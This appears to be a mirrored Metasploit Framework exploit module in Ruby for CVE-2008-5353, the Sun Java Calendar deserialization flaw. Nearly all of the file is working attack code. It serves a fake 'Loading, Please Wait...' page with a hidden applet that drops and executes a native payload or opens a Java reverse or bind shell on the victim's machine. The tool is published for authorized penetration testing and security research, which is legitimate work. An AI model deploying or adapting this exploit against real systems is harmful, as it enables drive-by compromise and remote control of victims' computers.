CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/java_calendar_deserialize.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::EXE
11
12
# Superceded by java_atomicreferencearray
13
# include Msf::Exploit::Remote::BrowserAutopwn
14
# autopwn_info({ :javascript => false })
15
16
def initialize(info = {})
17
super(
18
update_info(info,
19
'Name' => 'Sun Java Calendar Deserialization Privilege Escalation',
20
'Description' => %q{
21
This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.
22
23
The payload can be either a native payload which is generated as an executable and
24
dropped/executed on the target or a shell from within the Java applet in the target browser.
25
26
The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16
27
and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).
28
},
29
'License' => MSF_LICENSE,
30
'Author' => [ 'sf', 'hdm' ],
31
'References' =>
32
[
33
[ 'CVE', '2008-5353' ],
34
[ 'OSVDB', '50500'],
35
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ],
36
[ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],
37
[ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ]
38
],
39
'Platform' => %w(linux osx solaris win),
40
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
41
'Targets' =>
42
[
43
[ 'Generic (Java Payload)',
44
{
45
'Platform' => ['java'],
46
'Arch' => ARCH_JAVA
47
}
48
],
49
[ 'Windows x86 (Native Payload)',
50
{
51
'Platform' => 'win',
52
'Arch' => ARCH_X86
53
}
54
],
55
[ 'Mac OS X PPC (Native Payload)',
56
{
57
'Platform' => 'osx',
58
'Arch' => ARCH_PPC
59
}
60
],
61
[ 'Mac OS X x86 (Native Payload)',
62
{
63
'Platform' => 'osx',
64
'Arch' => ARCH_X86
65
}
66
],
67
[ 'Linux x86 (Native Payload)',
68
{
69
'Platform' => 'linux',
70
'Arch' => ARCH_X86
71
}
72
]
73
],
74
'DefaultTarget' => 0,
75
'DisclosureDate' => '2008-12-03'
76
)
77
)
78
end
79
80
def exploit
81
# load the static jar file
82
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2008-5353.jar")
83
fd = File.open(path, "rb")
84
@jar_data = fd.read(fd.stat.size)
85
fd.close
86
87
super
88
end
89
90
def on_request_uri(cli, request)
91
data = nil
92
host = nil
93
port = nil
94
95
if !request.uri.match(/\.jar$/i)
96
if !request.uri.match(/\/$/)
97
send_redirect(cli, get_resource + '/', '')
98
return
99
end
100
101
print_status("#{name} handling request")
102
103
payload = regenerate_payload(cli)
104
if !payload
105
print_error("Failed to generate the payload.")
106
return
107
end
108
109
if target.name == 'Generic (Java Payload)'
110
if datastore['LHOST']
111
jar = payload.encoded
112
host = datastore['LHOST']
113
port = datastore['LPORT']
114
print_status("Payload will be a Java reverse shell")
115
else
116
port = datastore['LPORT']
117
host = cli.peerhost
118
print_status("Payload will be a Java bind shell")
119
end
120
if jar
121
print_status("Generated jar to drop (#{jar.length} bytes).")
122
jar = Rex::Text.to_hex(jar, prefix = "")
123
else
124
print_error("Failed to generate the executable.")
125
return
126
end
127
else
128
129
# NOTE: The EXE mixin automagically handles detection of arch/platform
130
data = generate_payload_exe
131
132
print_status("Generated executable to drop (#{data.length} bytes).")
133
data = Rex::Text.to_hex(data, prefix = "")
134
135
end
136
137
send_response_html(cli, generate_html(data, jar, host, port), 'Content-Type' => 'text/html')
138
return
139
end
140
141
print_status("Sending Applet.jar")
142
send_response(cli, generate_jar, 'Content-Type' => "application/octet-stream")
143
144
handler(cli)
145
end
146
147
def generate_html(data, jar, host, port)
148
html = "<html><head><title>Loading, Please Wait...</title></head>"
149
html += "<body><center><p>Loading, Please Wait...</p></center>"
150
html += "<applet archive=\"Applet.jar\" code=\"msf.x.AppletX.class\" width=\"1\" height=\"1\">"
151
html += "<param name=\"data\" value=\"#{data}\"/>" if data
152
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
153
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
154
html += "<param name=\"lport\" value=\"#{port}\"/>" if port
155
html += "</applet></body></html>"
156
html
157
end
158
159
def generate_jar
160
@jar_data
161
end
162
end
163
164